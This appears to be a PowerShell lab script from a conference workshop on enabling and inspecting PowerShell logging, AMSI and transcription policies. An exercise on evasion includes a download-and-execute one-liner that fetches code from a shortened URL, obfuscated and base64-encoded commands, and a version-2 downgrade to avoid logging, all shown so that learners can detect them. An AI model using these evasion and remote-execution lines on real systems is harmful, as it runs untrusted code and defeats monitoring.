forked from GoateePFE/PowerShellSummit2019
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathLab_01_PowerShell_Policies.ps1
176 lines (109 loc) · 5.92 KB
/
Lab_01_PowerShell_Policies.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
break
# Lab 01 - Windows PowerShell Logging
## Objective
## Overview
## Exercise 1.1 - Stuff you get out-of-the-box with no configuration
### 1.1.1 PSReadline Command History
Get-Module
Get-Command -Module PSReadline
Get-PSReadlineOption
Get-Content (Get-PSReadlineOption).HistorySavePath
Select-String -Path (Get-PSReadlineOption).HistorySavePath -Pattern 'module'
Get-Item C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\*.txt
Select-String -Path C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\*.txt -Pattern 'module'
Remove-Module PSReadline
### 1.1.2 Script Block Logging (Without Policy Implementation)
Add-Type -AssemblyName System.Speech
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -FilterXPath '*[System[(EventID=4104)]]' -MaxEvents 5 | Format-Table TimeCreated, Message -Wrap
### 1.1.3 AntiMalware Scan Interface (AMSI)
Get-WinEvent -ListLog *defender*
Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' -FilterXPath "*[System[((EventID=1116) or (EventID=1117))]]" -MaxEvents 5 | Format-Table TimeCreated, Message -Wrap
iex 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c138 6'
## Exercise 1.2 - PowerShell Policies
### 1.2.1 Module Logging / Pipeline Execution Logging
Get-WinEvent -ListLog *powershell*
Get-Module -ListAvailable | Format-Table Name, LogPipelineExecutionDetails
#region
Import-Module NetAdapter
$m = Get-Module NetAdapter
$m.LogPipelineExecutionDetails = $true
#endregion
Get-WinEvent -LogName 'Windows PowerShell' -FilterXPath '*[System[(EventID=800)]]' -MaxEvents 5 | Format-Table TimeCreated, Message -Wrap
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -FilterXPath '*[System[(EventID=4103)]]' -MaxEvents 5 | Format-Table TimeCreated, Message -Wrap
#region
$BasePath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
$ModulePath = $BasePath + '\ModuleNames'
New-Item $ModulePath -Force
New-ItemProperty $BasePath -Name EnableModuleLogging -Value 1 -PropertyType DWord
New-ItemProperty $ModulePath -Name '*' -PropertyType String
#endregion
Get-ChildItem HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ -Recurse
### 1.2.2 Script Block Logging
#region
$BasePath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
New-Item $BasePath -Force
New-ItemProperty $BasePath -Name EnableScriptBlockLogging -Value 1 -PropertyType DWord
#endregion
Get-ChildItem HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ -Recurse
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -FilterXPath '*[System[(EventID=4104)]]' -MaxEvents 5 | Format-Table TimeCreated, Message -Wrap
### 1.2.3 System-Wide Transcription
#region
$BasePath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription'
New-Item $BasePath -Force
New-ItemProperty $BasePath -Name EnableTranscripting -Value 1 -PropertyType DWord
New-ItemProperty $BasePath -Name OutputDirectory -Value 'C:\PSTranscripts' -PropertyType String
New-ItemProperty $BasePath -Name EnableInvocationHeader -Value 1 -PropertyType DWord
#endregion
Get-ChildItem HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ -Recurse
Select-String -Path C:\PSTranscripts\*\* -Pattern mimikatz
## Exercise 1.3 - Evasion Techniques
### 1.3.1 Fileless Malware
iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w")
### 1.3.2 Obfuscation
iex ”’$(“B” + "e sure to" + ' drink yo' + 'ur Oval' + "tine!”)’”
#region
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(@"
iex ”’$(“B” + "e sure to" + ' drink yo' + 'ur Oval' + "tine!”)’”
"@
))
#endregion
powershell -enc aQBlAHgAIAAdIBkgQgBlACAAcwB1AHIAZQAgAHQAbwAgAGQAcgBpAG4AawAgAHkAbwB1AHIAIABPAHYAYQBsAHQAaQBuAGUAIQAZIB0g
Select-String -Path C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\*.txt -Pattern 'Ovaltine'
Get-WinEvent -LogName 'Windows PowerShell' -FilterXPath '*[System[(EventID=800)]]' -MaxEvents 5 | Format-Table TimeCreated, Message -Wrap
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -FilterXPath '*[System[(EventID=4103)]]' -MaxEvents 5 | Format-Table TimeCreated, Message -Wrap
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -FilterXPath '*[System[(EventID=4104)]]' -MaxEvents 5 | Format-Table TimeCreated, Message -Wrap
Select-String -Path C:\PSTranscripts\*\* -Pattern 'Ovaltine'
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("aQBlAHgAIAAdIBkgQgBlACAAcwB1AHIAZQAgAHQAbwAgAGQAcgBpAG4AawAgAHkAbwB1AHIAIABPAHYAYQBsAHQAaQBuAGUAIQAZIB0g"))
### 1.3.3 Version Downgrade
powershell.exe -version 2 -command "Can you see me now?"
Get-WindowsOptionalFeature -Online -FeatureName *V2*
Get-WindowsOptionalFeature -Online -FeatureName *V2* | ForEach-Object {Disable-WindowsOptionalFeature -Online -FeatureName $_.FeatureName -Verbose}
### 1.3.4 Version Upgrade
### 1.3.5 Cached Policy Disable
## Exercise 1.4 - Automating the Investigation
### 1.4.1 Enable Logging Enterprise-Wide
### 1.4.2 Increase Log Size
Get-WinEvent -ListLog *powershell*
wevtutil.exe set-log Microsoft-Windows-PowerShell/Operational /maxsize:$(1gb)
### 1.4.3 Purge Transcripts
#region
$basePath = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription"
if(Test-Path $basePath) {
$a = Get-ItemProperty $basePath -Name OutputDirectory | Select-Object -ExpandProperty OutputDirectory
If (!$?) {'Not Configured'} Else {
If (Test-Path -Path $a) {
$RetentionDays = 14
Get-ChildItem -Path $a -Recurse |
Where-Object {$_.CreationTime -lt (Get-Date).AddDays(-1 * $RetentionDays)} |
Remove-Item -Force -Confirm:$false -Recurse
} Else {
'Log path not found.'
}
}
} Else {
'Not Configured'
}
#endregion
### 1.4.4 Collect Data From All Locations
### 1.4.5 Windows Event Forwarding
### 1.4.6 Logging Inception